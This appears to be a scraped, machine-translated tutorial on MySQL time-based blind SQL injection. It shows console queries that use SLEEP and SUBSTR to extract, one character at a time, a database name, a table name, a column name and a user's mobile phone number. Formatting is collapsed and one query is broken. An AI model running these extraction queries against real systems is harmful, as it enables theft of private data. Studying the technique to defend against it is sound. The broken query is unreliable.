MySQL based on the "Time" of the Blind

Source: Internet
Author: User

No page error, according to the page response time to make judgments!

MySQL Time-based blind =================================================================================================== ===================================================================* Guess the library name-the following is the correct mysql> select Sleep (1) from (                                                                             Select Database () a_database) a where substr (a_database,1,1) =char (0x66); +----------+|        Sleep (1) |+----------+| 0 |+----------+1 row in Set (1.00 sec)-The following is a guess error mysql> select Sleep (1) from (select Database () a_database) a Where substr ( a_database,1,1) =char (0x67); Empty Set (0.00 sec) * Guess table name-mysql> select Sleep (1) from (SELECT DISTINCT table_name as A_TN from information_schema.table s where table_schema= ' Fangjiangjun ' limit 0,1) a where substr (A_tn, 1, 1) = ' f '; +----------+|        Sleep (1) |+----------+| 0 |+----------+1 row in Set (1.00 sec)-mysql> Select Sleep (1) from (SELECT DISTINCT table_name as A_TN from information _schema.tables where table_schema= ' Fangjiangjun ' limit 0,1) a whereSUBSTR (A_tn, 1, 1) = ' x '; Empty Set (0.00 sec) * Guess field name-mysql> Select Sleep (1) from (select DISTINCT column_name as A_CN from Information_schema.col Umns where table_schema= ' Fangjiangjun ' and table_name= ' f_user ' limit 0,1) a where substr (A_CN, 1, 1) = ' I '; +----------+|        Sleep (1) |+----------+| 0 |+----------+1 row in Set (1.01 sec)-mysql> Select Sleep (1) from (select DISTINCT column_name as A_CN from Informatio N_schema.columns where table_schema= ' Fangjiangjun ' and table_name= ' f_user ' limit 0,1) a where substr (A_CN, 2, 1) = ' d '; +--- -------+|        Sleep (1) |+----------+| 0 |+----------+1 row in Set (1.00 sec) * Solver field value-mysql> Select Sleep (1) from (select CONVERT (Mobile_phone,char) as A_mp fro M fangjiangjun.f_user order by ID limit 0,1) a where substr (a_mp,1,1) = ' 1 '; +----------+|        Sleep (1) |+----------+| 0 |+----------+1 row in Set (1.00 sec)-mysql> Select Sleep (1) by (select CONVERT (Mobile_phone,char) as A_mp from Fang Jiangjun.f_user order by ID limit 0,1) a where substr (a_mp,2, 1) = ' 3 ';-mysql> Select Sleep (1) from (select CONVERT (Mobile_phone,char) as A_MP from Fangjiangjun.f_user order by ID Li MIT 0,1) A where substr (a_mp,2,1) = ' 8 '; +----------+|        Sleep (1) |+----------+| 0 |+----------+1 row in Set (1.00 sec)

  

MySQL based on the "Time" of the Blind

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.